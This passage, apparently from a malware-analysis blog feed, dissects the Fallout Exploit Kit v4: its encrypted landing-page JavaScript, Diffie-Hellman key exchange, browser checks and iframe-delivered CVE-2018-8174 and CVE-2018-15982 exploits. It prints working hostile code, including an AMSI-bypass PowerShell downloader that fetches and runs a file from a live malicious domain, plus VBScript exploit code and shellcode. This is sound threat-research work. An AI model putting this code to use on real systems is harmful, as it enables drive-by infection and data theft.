DEAOQA1ADAALQAwADEALQAxADEALwBPADgAWgByACcAOwBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcASgBHAE4AcwBhAFQAMABvAFQAbQBWADMATABVADkAaQBhAG0AVgBqAGQAQwBCAE8AWgBYAFEAdQBWADIAVgBpAFEAMgB4AHAAWgBXADUAMABLAFQAcwBrAFkAMgB4AHAATABrAGgAbABZAFcAUgBsAGMAbgBOAGIASgAxAFYAegBaAFgASQB0AFEAVwBkAGwAYgBuAFEAbgBYAFQAMABuAFMAagBVADMAVQBEAGwANQBNAFcAawB6AE0ARQAwAHgATQBEAEoAWQBOAFMAYwA3AEoARwBOAHMAYQBTADUARQBiADMAZAB1AGIARwA5AGgAWgBFAFoAcABiAEcAVQBvAEoARQBrAHgAYgBEAEUAeABTAFQARQBzAEoARwB4AHMAYgBEAEYASgBiAEcAeABKAE0AUwBrADcAJwApACkAfABpAGUAeAA7ACQASQAxAEkAMQBsADEASQBJAGwAbABJADEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAbABJADEAbABsADEASQBsADEASQAxAGwAOwAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxAC4ASQBsAEkASQAxAD0AMAB4ADAAOwAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxAC4ASQBJAEkAbABJAD0AWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAE0AYQByAHMAaABhAGwAXQA6ADoAUwBpAHoAZQBPAGYAKAAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxACkAOwAkAEkASQBsADEASQBsADEASQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJADEAbABJAEkAMQBJAGwAMQA7AFsAbAAxAEkAbAAxADEASQBJAEkAXQA6ADoAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAoACQAbABsAGwAMQBJAGwAbABJADEALAAkAGwAbABsADEASQBsAGwASQAxACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAJABmAGEAbABzAGUALAAwAHgAMAAwADAAMAAwADAAMAA4ACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAIgBjADoAIgAsAFsAcgBlAGYAXQAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxACwAWwByAGUAZgBdACQASQBJAGwAMQBJAGwAMQBJACkAfABvAHUAdAAtAG4AdQBsAGwAOwA</span><span class="o">=</span><span class="w">
</span></code></pre></div></div>

<p>Let’s decode and clean.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">try</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nv">$l1Il1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Ref</span><span class="p">]</span><span class="o">.</span><span class="nf">Assembly</span><span class="p">;</span><span class="w">
    </span><span class="nv">$l1Il1lI1IIl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$l1Il1</span><span class="o">.</span><span class="nf">GetType</span><span class="p">(</span><span class="s2">"System.Management.Automation.AmsiUtils"</span><span class="p">);</span><span class="w">
    </span><span class="nv">$I1Il11l1Il</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$l1Il1lI1IIl</span><span class="o">.</span><span class="nf">GetField</span><span class="p">(</span><span class="s2">"amsiInitFailed"</span><span class="p">,</span><span class="w"> </span><span class="s1">'NonPublic,Static'</span><span class="p">);</span><span class="w">
    </span><span class="nv">$I1Il11l1Il</span><span class="o">.</span><span class="nf">SetValue</span><span class="p">(</span><span class="bp">$null</span><span class="p">,</span><span class="w"> </span><span class="bp">$true</span><span class="p">);</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="kr">catch</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="p">};</span><span class="w">

</span><span class="n">Add-Type</span><span class="w"> </span><span class="nt">-TypeDefinition</span><span class="w"> </span><span class="s2">"using System;using System.Diagnostics;using System.Runtime.InteropServices;[StructLayout(LayoutKind.Sequential)]public struct I1lII1Il1{public IntPtr IIlI1;public IntPtr lIl1I1II1l;public uint IIIIIlII;public uint Il111lIl1I1I;}[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]public struct lI1ll1Il1I1l{public uint IIIlI;public string Il1l1;public string lI1ll;public string Il111IIIl;public uint I1lIl1ll1I;public uint IlIIIl1;public uint ll11Ill;public uint Il1IlIl1;public uint lIlIII;public uint lI1lIlI;public uint lI1l11;public uint Ill1Il;public short IlII1;public short IllIll;public IntPtr llIlIlIlI;public IntPtr Ill1IlIlI;public IntPtr IllIlllI1I1;public IntPtr I1III;};public static class l1Il11III{[DllImport(""kernel32.dll"",SetLastError=true)]public static extern bool CreateProcess(string IIlIII,string IlIlI,IntPtr I11l1I,IntPtr l1lI1,bool IlI11II1111,uint l111I,IntPtr lIII1IllI,string I1Il1lI,ref lI1ll1Il1I1l ll11IIl1I,out I1lII1Il1 lII1II);}"</span><span class="p">;</span><span class="w">

</span><span class="nv">$lll1IllI1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"</span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">userprofile</span><span class="s2">\AppData\LocalLow\</span><span class="si">$(</span><span class="o">-join</span><span class="p">((</span><span class="mi">48</span><span class="o">..</span><span class="mi">57</span><span class="si">)</span><span class="s2">+(65..90)+(97..122)|Get-Random -Count 8|%{[char]</span><span class="bp">$_</span><span class="s2">})).tmp"</span><span class="p">;</span><span class="w">
</span><span class="nv">$I1l11I1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'http://beahero4u.com/1950-01-11/O8Zr'</span><span class="p">;</span><span class="w">
</span><span class="nv">$cli</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">New-Object</span><span class="w"> </span><span class="nx">Net.WebClient</span><span class="p">);</span><span class="w">
</span><span class="nv">$cli</span><span class="o">.</span><span class="n">Headers</span><span class="p">[</span><span class="s1">'User-Agent'</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'J57P9y1i30M102X5'</span><span class="p">;</span><span class="w">
</span><span class="nv">$cli</span><span class="o">.</span><span class="nf">DownloadFile</span><span class="p">(</span><span class="nv">$I1l11I1</span><span class="p">,</span><span class="w"> </span><span class="nv">$lll1IllI1</span><span class="p">);</span><span class="w">
</span><span class="nv">$I1I1l1IIllI1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">lI1ll1Il1I1l</span><span class="p">;</span><span class="w">
</span><span class="nv">$I1I1l1IIllI1</span><span class="o">.</span><span class="nf">IlII1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="n">x0</span><span class="p">;</span><span class="w">
</span><span class="nv">$I1I1l1IIllI1</span><span class="o">.</span><span class="nf">IIIlI</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Runtime.InteropServices.Marshal</span><span class="p">]::</span><span class="n">SizeOf</span><span class="p">(</span><span class="nv">$I1I1l1IIllI1</span><span class="p">);</span><span class="w">
</span><span class="nv">$IIl1Il1I</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">I1lII1Il1</span><span class="p">;</span><span class="w">
</span><span class="p">[</span><span class="n">l1Il11III</span><span class="p">]::</span><span class="n">CreateProcess</span><span class="p">(</span><span class="nv">$lll1IllI1</span><span class="p">,</span><span class="w"> </span><span class="nv">$lll1IllI1</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">IntPtr</span><span class="p">]::</span><span class="n">Zero</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">IntPtr</span><span class="p">]::</span><span class="nx">Zero</span><span class="p">,</span><span class="w"> </span><span class="bp">$false</span><span class="p">,</span><span class="w"> </span><span class="nx">0x00000008</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">IntPtr</span><span class="p">]::</span><span class="nx">Zero</span><span class="p">,</span><span class="w"> </span><span class="s2">"c:"</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">ref</span><span class="p">]</span><span class="nv">$I1I1l1IIllI1</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">ref</span><span class="p">]</span><span class="nv">$IIl1Il1I</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">out-null</span><span class="p">;</span><span class="w">
</span></code></pre></div></div>

<p>Thus the malware is downloaded and executed.</p>

<h2 id="conclusion">Conclusion</h2>
<p>Fallout has been heavily updated, making analysis very difficult. Very sophisticated techniques such as Diffie-Hellman key exchange, VM detection, process detection, etc. are used. We need to be careful as they may be updated in the future.</p>]]></content><author><name>nao_sec</name></author><summary type="html"><![CDATA[First We have been observing the Fallout Exploit Kit since August 2018. Fallout is using non-characteristic URL and heavily obfuscated landing page. The user still exists and attacks are observed daily. Recently, we were investigating an attack campaign that infects Raccoon Stealer in the flow of PopAds-&gt; KeitaroTDS-&gt; Fallout. About Fallout, we have already written three reports. The first one was about the emergence of Fallout, the second one was to start using PowerShell and the third one was to start exploiting PoC on GitHub. We divide these major changes by version and call them v1~3. Hello “Fallout Exploit Kit” In-Depth analysis of new Fallout Exploit Kit Analysis of Fallout Exploit Kit v3 We wrote about v3 in March 2019. v3 is not stable and has been updated to the next version immediately. @EKFiddle (created and maintained by @jeromesegura) reported this change on April 11. #EKFiddle [Regex update]: #FalloutEKSeems like there is no more use of the PoC on GitHub for CVE-2018-8174.Pushing #GandCrab in this particular instance.https://t.co/U67qZosp1e pic.twitter.com/buVTakYuhJ&mdash; EKFiddle (@EKFiddle) 2019年4月11日 We call this a big update v4 (it is still v4). Detailed analysis report has not been written about what kind of update Fallout has done. However, this update is very big. At least for us (Exploit Kit analyst), that made the analysis very cumbersome. Fallout v4 incorporates the following features. 1. Diffie-Hellman key exchange 2. VM detection 3. Process detection Here, we will share detailed analysis results on the updates made by Fallout v4. But unfortunately, we did not understand everything. If you are aware of it, please help us. Traffic chain First, let’s look at the previous traffic chain. v1~3 was like this. In v3, it acquired PoC of CVE-2018-8174 from GitHub, and attacked by rewriting the part of shellcode. So what kind of traffic chain is v4? 1. Landing Page 2. JavaScript Code 3. Encoded Code 1 4. Encoded Code 2 (CVE-2018-8174 + SWF Loader) 5. CVE-2018-15982 6. PowerShell Code 7. Malware In this way, an attack is performed by seven traffics. Let’s look at each one in order. (In the following, we will use different traffic data from the above. The detailed reason will be mentioned later, but it is difficult to capture and analyze traffic at the same time) Landing Page + JS Code + Encoded Data In the landing page, JavaScript code is read first. &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv="x-ua-compatible" content="IE=10"&gt; &lt;script type="text/javascript" src="/04_09_2003/Symposium?Peristele=02_03_1943&amp;LE3r=Aps&amp;ILZhH=Frazzling-Anorexias"&gt;&lt;/script&gt; &lt;/head&gt; This includes CryptoJS and BigInteger obfuscated. Excluding the large library parts, there is very little processing. // key window.III1l1 = window["Il1IIllIlI1I"]["IIIlI"]["II1I1lI1I"]["ll1llI1"]("8b69cbdfc5fe43e69b7920c8ee721fc9"); // iv window.II1ll11I = window["Il1IIllIlI1I"]["IIIlI"]["II1I1lI1I"]["ll1llI1"]("301ae8205ddcd5897df69e3b0c056c34"); // aes_decrypt(enc_data, key, iv) window.l11llIll = window["Il1IIllIlI1I"]["lI11lIl"]["l11II11l"]("p4N9IqH/oiAKHkDCR0zXXfrvhwVrVPsFZSNUjkVFXxxBofjpd5JLM1sdAega3oRy", III1l1, { lI1lIl1Ill: II1ll11I })["lIlIlll11l"](window["Il1IIllIlI1I"]["IIIlI"]["Il11I1II"]); First, two data (8b69cbdfc5fe43e69b7920c8ee721fc9 and 301ae8205ddcd5897df69e3b0c056c34) will appear. This is a key and an IV for AES encryption. By decrypting the next Base64 character string using these keys and IV, the necessary data (specifically, the URL for acquiring encoded data used in the next step) can be obtained. . When it tries decoding, it becomes like this. Next is the process of checking which browser is being used. Depending on it, Opera, Firefox, IE or Chrome is investigated. // check browser window["String"]["prototype"]["II1l1IlI"] = function () { return (!!window["opr"] &amp;&amp; !!window["opr"]["addons"] || !!window["opera"] || navigator["userAgent"]["indexOf"](" OPR/") &gt;= 0) + this + (typeof window["InstallTrigger"] !== "undefined") + this + (false || !!window["document"]["documentMode"]) + this + (!!window["chrome"] &amp;&amp; !!window["chrome"]["runtime"]) }; Then there is a process to check the version of Adobe Flash Player. This data will be used later. (function () { window.l1l111I = ''; try { window.l1l111I = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').getVariable('$version') } catch (e) {} })(); The process then returns to the landing page. In the landing page, one function is defined and executed. Let’s look at that function. // str_A var l1ll1 = window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](); // str_B var lIlII11 = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](), 16); // str_C var ll1l1IlIIIll = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](), 16); // str_D var lll1II = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](), 16); // str_E =&gt; str_B.modPow(str_C, str_D) var l11IlIl = lIlII11['ll11IIl'](ll1l1IlIIIll, lll1II); Here, many processes such as window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l']() appear. This is defined in CryptoJS and generates a 32 character random hexadecimal string. After generating four random data, use the second, third and fourth of them to generate the fifth data. Here modPow is used. The five data prepared here will be used in the ensuing cryptographic process. We call them str_A, str_B, str_C, str_D, str_E. The following code is divided into three parts. Onreadystatechange after the first one has sent a request to the server. The process of generating data to be sent by the second. The third is the process to send. These are the standard XMLHttpRequest POST procedures. First, let’s look at the process of generating transmission data. var l11IlIIlllll = {}; l11IlIIlllll['lIlII11'] = lIlII11['lIlIlll11l'](16); // str_B l11IlIIlllll['lll1II'] = lll1II['lIlIlll11l'](16); // str_D l11IlIIlllll['l11IlIl'] = l11IlIl['lIlIlll11l'](16); // str_E l11IlIIlllll['lI1lIl1Ill'] = l1ll1; // str_A // browser check data l11IlIIlllll['II1l1IlI'] = '@@' ['II1l1IlI'](); Five data have been added to the array l11IlIIlllll. Other than the last one is the random data created earlier. There are 5 random data, but the data other than str_C is send data. The last one is the browser check data generated earlier. It checks whether the browser is Opera, Firefox, IE or Chrome, respectively, and contains true or false and is concatenated with @@. Such data is prepared for send. It should be noted here that str_C has not been sent to the server. Next, let’s look at the sending process. window['I1l1I1'](Il1I11l, "post", l11llIll, true); /* -- snip -- */ // Send POST window['l1lllIIlI']( Il1I11l, // aes_encrypt(data, key, iv) window['Il1IIllIlI1I']['lI11lIl']['Ill1lI1Ill']( window['IIII1Il'](l11IlIIlllll), // post request data window['III1l1'], // key { lI1lIl1Ill: window['II1ll11I'] } // iv )['lIlIlll11l']() ); This is also a general request sending process. The URL is a string decoded by AES earlier. The data to be sent is the previously prepared data, but these are encrypted by AES. The key and IV are the same as those used to decode the URL. The previous data to be encrypted looks like this. { "lIlII11":"c81e728d9d4c2f636f067f89cc14862c", "lll1II":"a87ff679a2f3e71d9181a67b7542122c", "l11IlIl":"3f05415ebff145466040f6a73dca8704", "lI1lIl1Ill":"c4ca4238a0b923820dcc509a6f75849b", "II1l1IlI":"false@@false@@true@@false" } The data actually sent is encrypted in this way. TvU4TAyld3MNlDcMtLwxBo+uVXAbIB1jpPO1a9HDv2dZs7HonG67s8heWoMyvnUFqFBdoEhU0STYjHHQxX6DK7x7Z1naG/2TAdm+AR5l6gpYVl4jXB9oOOyfJtZrfJHabQT5Jhlqv1dtvsJ+0G27qhamqtPT16wCpXn2R2WHf8NJu9SvXSSVadW7sT6QDt32Jt0z3oR0VIlpuE/w3snfKDNIjJYhuMz/VGYIL9WNdg0hC26sxB5fJ5fOOuifh2rNk9GgNsNdfVP01Tf77GRDu9puTbgfsgYOnCz0ONOmp05B14kJ1tK8ZI6ciOWLvOYV Let’s look at the process after sending. onreadystatechange is called. Here, two AES decodings are performed. Let’s first look at the first decoding process. // aes_decrypt(enc_data, key, iv) var lIlIl1IIl11 = window['Il1IIllIlI1I']['lI11lIl']['l11II11l']( Il1I11l['responseText'], // enc_data window['III1l1'], // key { lI1lIl1Ill: window['II1ll11I'] } // iv )['lIlIlll11l'](window['Il1IIllIlI1I']['IIIlI']['Il11I1II']); var l1I1l1 = window['lIl11'](lIlIl1IIl11); POST response data is encrypted with AES. The keys and IV are the same as before, and the hard-coded values (8b69cbdfc5fe43e69b7920c8ee721fc9 and 301ae8205ddcd5897df69e3b0c056c34) are hard-coded in the JavaScript code. Jsonify is performed because the JSON data can be obtained by decoding. The decoded JSON data looks like this. { "IlI1l":"9b412e5c651d73fd1e271dd63f6901a0", "I1111":"r+sZGwxURs48PDt8pilYLNYjKbVrMHSmlgv0jeEE7qd8KN+KbbqRpYBUUrEFfM5VSLfRPthHQmyzFoY7fuCtOQQ9vUiMBC+3\/pL…" } Decode the second data using the first (32-character hexadecimal string) of this data. The first data is called str_F. Also, decoding is done with AES, but the key and IV are different from before. var lIlll1IIlI = window['l1l1IIlIlI'](l1I1l1['lIlll1IIlI'], 16); // str_F // key (str_G) =&gt; str_F.modPow(str_C, str_D) var llIIlI = lIlll1IIlI['ll11IIl'](ll1l1IlIIIll, lll1II); var I1Il1I1 = llIIlI['lIlIlll11l'](16); var IIIIlI1IllII = 32 - I1Il1I1.length; while (IIIIlI1IllII &gt; 0) { I1Il1I1 = '0' + I1Il1I1; IIIIlI1IllII--; } var II1ll = window['Il1IIllIlI1I']['IIIlI']['II1I1lI1I']['ll1llI1'](I1Il1I1); var lI1lIl1Ill = window['Il1IIllIlI1I']['IIIlI']['II1I1lI1I']['ll1llI1'](l1ll1); // aes_decrypt(enc_data, key, iv) var Il11lII1 = window['Il1IIllIlI1I']['lI11lIl']['l11II11l']( l1I1l1['lIlIl1IIl11'], // enc_data II1ll, // str_G { lI1lIl1Ill: lI1lIl1Ill } // iv =&gt; str_A ); The values generated by str_F, str_C and str_D are called str_G. Thus, str_C is required to decode the data, but str_C has not been sent to the server. By looking at the traffic data, you can see str_E and str_G created by str_C, but it is impossible to find str_C. Please see Wikipedia for details. Diffie–Hellman key exchange - Wikipedia The data thus decoded is executed as JavsScript. // eval II1Il['ll1I1'](); Let’s look at the executed code. First, the URL used next is decoded. The key and IV used at this time are hard-coded initial values. // aes_decrypt(enc_url, key, iv) var l11l1I1 =window["Il1IIllIlI1I"]["lI11lIl"]["l11II11l"]( "l9kie2x7t4Iq4hRNA3G3Juz+buSrv9OSyATsAvZRjsoWkjatAa3Am6oRnar5jjv2N8XFpvDYQbKswFbyKiGPXM/eRwj5+hz4hg+dTKr5BLk=", III1l1, { lI1lIl1Ill:II1ll11I } )["lIlIlll11l"](window["Il1IIllIlI1I"]["IIIlI"]["Il11I1II"]); Then, as before, the function is called. Let’s look at the function. First, define the necessary data for encryption/decryption as before. Give each one a name as before. // str_A2 var l1ll1 = window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](); // str_B2 var lIlII11 = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](),16); // str_C2 var ll1l1IlIIIll = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](),16); // str_D2 var lll1II = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](),16); // str_E2 =&gt; str_B2.powMod(str_C2, str_D2) var l11IlIl = lIlII11['ll11IIl'](ll1l1IlIIIll,lll1II); Next, prepare the data to send as a POST request. Unlike before, Adobe Flash Player version information is also sent. var l11IlIIlllll = {}; l11IlIIlllll['lIlII11'] = lIlII11['lIlIlll11l'](16); // str_B2 l11IlIIlllll['lll1II'] = lll1II['lIlIlll11l'](16); // str_D2 l11IlIIlllll['l11IlIl'] = l11IlIl['lIlIlll11l'](16); // str_E2 l11IlIIlllll['lI1lIl1Ill'] = l1ll1; // str_A2 l11IlIIlllll['II1l1IlI'] = '@@'['II1l1IlI'](); // browser check data l11IlIIlllll['l1l111I'] = window['l1l111I']; // Adobe Flash Player version check data The sending process is the same as the previous one. The key and IV used in this case are also initial values. window['I1l1I1'](Il1I11l,"post",l11l1I1,true); window['l1lllIIlI']( Il1I11l, // aes_encrypt window['Il1IIllIlI1I']['lI11lIl']['Ill1lI1Ill']( window['IIII1Il'](l11IlIIlllll), // POST Data window['III1l1'], // key {lI1lIl1Ill:window['II1ll11I']} // iv )['lIlIlll11l']() ); Thus, onreadystatechange is called as well. Here too, the decoding process is performed as before. First, decode POST response data with the same key and IV as before. // aes_decrypt(enc_data, key, iv) var lIlIl1IIl11 = window['Il1IIllIlI1I']['lI11lIl']['l11II11l']( Il1I11l['responseText'], // enc_data window['III1l1'], // key {lI1lIl1Ill:window['II1ll11I']} // iv )['lIlIlll11l'](window['Il1IIllIlI1I']['IIIlI']['Il11I1II']); When jsonify the decoded result, three data are included like this. The first 32-character hexadecimal string is called str_F2. { "lIlll1IIlI": "87e087b48d4b06215f486021f23f5470", "lIIIIllIl1": "oUeRtTwLk9lLYqMwZC3AM49H8HDw15IqymZ0W\/vw87Vd9RtdXhps9ZppZc\/INO01Bqk79BOMS9ykHCDPE\/\/kWCHQuuh0\/rr…", "II11lIl11": "88HY4nkc9TWmnRPi\/hEPmk8ZCTJ5tIwItosOTmqFjUBFxCXfoXdMKas+TeKLUbdwsXAhvGa35wNmMnajdPzt1huWerzwnhoGcFP…" } Decrypt these data. Thus two data are decoded. var lIlll1IIlI = window['l1l1IIlIlI'](l1I1l1['lIlll1IIlI'],16); // str_G2 =&gt; str_F2.modPow(str_C2, str_D2) var llIIlI = lIlll1IIlI['ll11IIl'](ll1l1IlIIIll,lll1II); var I1Il1I1 = llIIlI['lIlIlll11l'](16); var IIIIlI1IllII = 32 - I1Il1I1.length; while(IIIIlI1IllII &gt; 0) { I1Il1I1 = '0'+I1Il1I1; IIIIlI1IllII--; } var II1ll = window['Il1IIllIlI1I']['IIIlI']['II1I1lI1I']['ll1llI1'](I1Il1I1); // str_G2 var lI1lIl1Ill = window['Il1IIllIlI1I']['IIIlI']['II1I1lI1I']['ll1llI1'](l1ll1); // str_A2 // aes_decrypt() var I1II111I1 = window['Il1IIllIlI1I']['lI11lIl']['l11II11l']( l1I1l1['lIIIIllIl1'], // enc_data_1 II1ll, // str_G2 {lI1lIl1Ill: lI1lIl1Ill} // str_A2 ); var IIIIl = window['Il1IIllIlI1I']['lI11lIl']['l11II11l']( l1I1l1['II11lIl11'], // enc_data_2 II1ll, // str_G2 {lI1lIl1Ill: lI1lIl1Ill} // str_A2 ); The data thus decoded is written to Body and executed. The decoded data is the CVE-2018-8174 exploit code and the CVE-2018-15982 exploit code for reading swf loader. if(IlIII1lll['length'] !== 0) { var IIlIl = window['document']['createElement']("iframe"); IIlIl['setAttribute']("id", "IlIlll1I1"); window['document']['getElementsByTagName']("BODY")[0].appendChild(IIlIl); var I11I11IIlIII = window['document']['getElementById']("IlIlll1I1")['contentWindow']['document']; I11I11IIlIII['open'](); I11I11IIlIII['write'](IlIII1lll); I11I11IIlIII['close'](); } if(lIl1l1I['length'] !== 0) { var l1III11 = window['document']['createElement']("iframe"); l1III11['setAttribute']("id", "lII1I1IlI1I"); window['document']['getElementsByTagName']("BODY")[0].appendChild(l1III11); var llIll1lI = window['document']['getElementById']("lII1I1IlI1I")['contentWindow']['document']; llIll1lI['open'](); llIll1lI['write'](lIl1l1I); llIll1lI['close'](); } For swf loader, the following code is executed. &lt;html&gt; &lt;head&gt; &lt;meta http-equiv="x-ua-compatible" content="IE=10"&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="BnjJbx"&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="205" height="528" id="BnjJbx" align="middle"&gt; &lt;param name="movie" value="/24_02_1964/05_04_1933/3410-Skegger-12666" /&gt; &lt;param name="quality" value="high" /&gt; &lt;param name="bgcolor" value="#ffffff" /&gt; &lt;param name="play" value="true" /&gt; &lt;param name="loop" value="true" /&gt; &lt;param name="wmode" value="window" /&gt; &lt;param name="scale" value="showall" /&gt; &lt;param name="menu" value="false" /&gt; &lt;param name="devicefont" value="false" /&gt; &lt;param name="salign" value="" /&gt; &lt;param name="allowScriptAccess" value="sameDomain" /&gt;&lt;/object&gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; Thus, the swf file that exploits CVE-2018-15982 is read and executed. CVE-2018-8174 The exploit code used is very similar to PoC. Sub StartExploit UAF InitObjects vb_adrr=LeakVBAddr() vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr)) msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll") krb_base=GetBaseFromImport(msv_base,"kernelbase.dll") ntd_base=GetBaseFromImport(msv_base,"ntdll.dll") VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect") NtContinueAddr=GetProcAddr(ntd_base,"NtContinue") SetMemValue GetShellcode() ShellcodeAddr=GetMemValue()+8 SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr) lIlll=GetMemValue()+69596 SetMemValue ExpandWithVirtualProtect(lIlll) llIIll=GetMemValue() ExecuteShellcode End Sub StartExploit The process to generate shellcode is like this. Function GetShellcode() IIlI=Unescape("%u0000%u0000%u0000%u0000") &amp;Unescape("%u8B55%u83EC%uF8E4%uEC81%u00CC%u0000%u5653%uE857%u08B0%u0000%uF08B%u44C7%u1824%u05CD%u5379%u848D%uB024%u0000%u8900%u2474%u8934%u2444%u8D14%u2454%u8D10%u2444%uC744%u2444%u1D1C%u2BDE%u8982%u2444%u8D10%u244C%u8D14%u2484%u0094%u0000%u4489%u2824%u448D%u1824%u8D50%u2444%u502C%u1EE8%u0006%u8B00%u245C%u8D18%u244C%u8B18%u247C%u8B1C%u8903%u2444%u8B40%u1C47%u4489%u4424%u478B%u8920%u2444%u3348%u89C0%u2444%u8918%u2444%u891C%u2444%uE834%u02E9%u0000%u548D%u1C24%uCF8B%u66E8%u0002%u8300%u2464%u0038%u4C8D%u2024%u406A%uE856%u02FE%u0000%uC683%u8D40%u244C%u6828%u0080%u0000%uE856%u02EC%u0000%u74FF%u2C24%u4C8B%u5024%u448D%u4824%u74FF%u2C24%uD68B%u74FF%u4824%u5753%u8D50%u2444%u5060%u448D%u4C24%uE850%u0389%u0000%uDB33%uC483%u3938%u245C%u742C%u8B41%u2474%u8D38%u2444%u6A48%u5F44%u5357%uFF50%u83D6%u0CC4%u7C89%u4824%u448D%u1824%u106A%u5053%uD6FF%uC483%u8D0C%u2444%u5018%u448D%u4C24%u5350%u6853%u0000%u0800%u5353%uFF53%u2474%u5350%u54FF%u6424%uFF53%u2454%u5F44%u5B5E%uE58B%uC35D%u8B55%u83EC%u0CEC%u458B%u890C%uF445%u458B%u8908%uF845%u6583%u00FC%u07EB%u458B%u40FC%u4589%u8BFC%uFC45%u453B%u7310%u8B12%uF845%u4503%u8BFC%uF44D%u4D03%u8AFC%u8809%uEB08%uC9DF%u55C3%uEC8B%u458B%u0F08%u00BE%uC085%u2D74%u458B%u0F08%u00BE%uF883%u7C41%u8B19%u0845%uBE0F%u8300%u5AF8%u0E7F%u458B%u0F08%u00BE%uC083%u8B20%u084D%u0188%u458B%u4008%u4589%uEB08%u5DC9%u55C3%uEC8B%u8B51%u0845%u4589%uEBFC%u8B07%uFC45%u8940%uFC45%u458B%u0FFC%u00BE%uC085%u0274%uEDEB%u458B%u2BFC%u0845%uC3C9%u5653%u8B57%u33D9%u53FF%u3347%uE8F6%uFFC9%uFFFF%u8B59%u85C8%u74C9%u0F24%u03B6%uD233%uC703%uF1BF%u00FF%uF700%u43F7%uFA8B%uD233%u048D%uBE3E%uFFF1%u0000%uF6F7%uF28B%uE983%u7501%uC1DC%u10E6%u048D%u5F37%u5B5E%u55C3%uEC8B%uEC83%u5310%u5756%uF98B%u5589%u33FC%u8BF6%u3C47%u5C8B%u7838%uDF03%u438B%u8B1C%u204B%uC703%u4589%u03F0%u8BCF%u2443%uC703%u4D89%u89F8%uF445%u7339%u7618%u8B18%uB10C%uCF03%u7BE8%uFFFF%u3BFF%uFC45%u1074%u4D8B%u46F8%u733B%u7218%u33E8%u5FC0%u5B5E%uC3C9%u458B%u8BF4%uF04D%uB70F%u7004%u048B%u0381%uEBC7%u64EA%u30A1%u0000%u8B00%u0C40%u408B%u8B14%u8B00%u8B00%u1040%u64C3%u30A1%u0000%u8B00%u0C40%u408B%u8B14%u8B00%u1040%u56C3%u8B57%u8BF9%u56F2%u078B%uD0FF%uC085%u0675%u478B%u5604%uD0FF%u5E5F%u56C3%uF18B%uE856%uFEAB%uFFFF%u8B59%uE8CE%uFF06%uFFFF%u3D5E%u06DE%u3F54%u1F74%u413D%uCD05%u7425%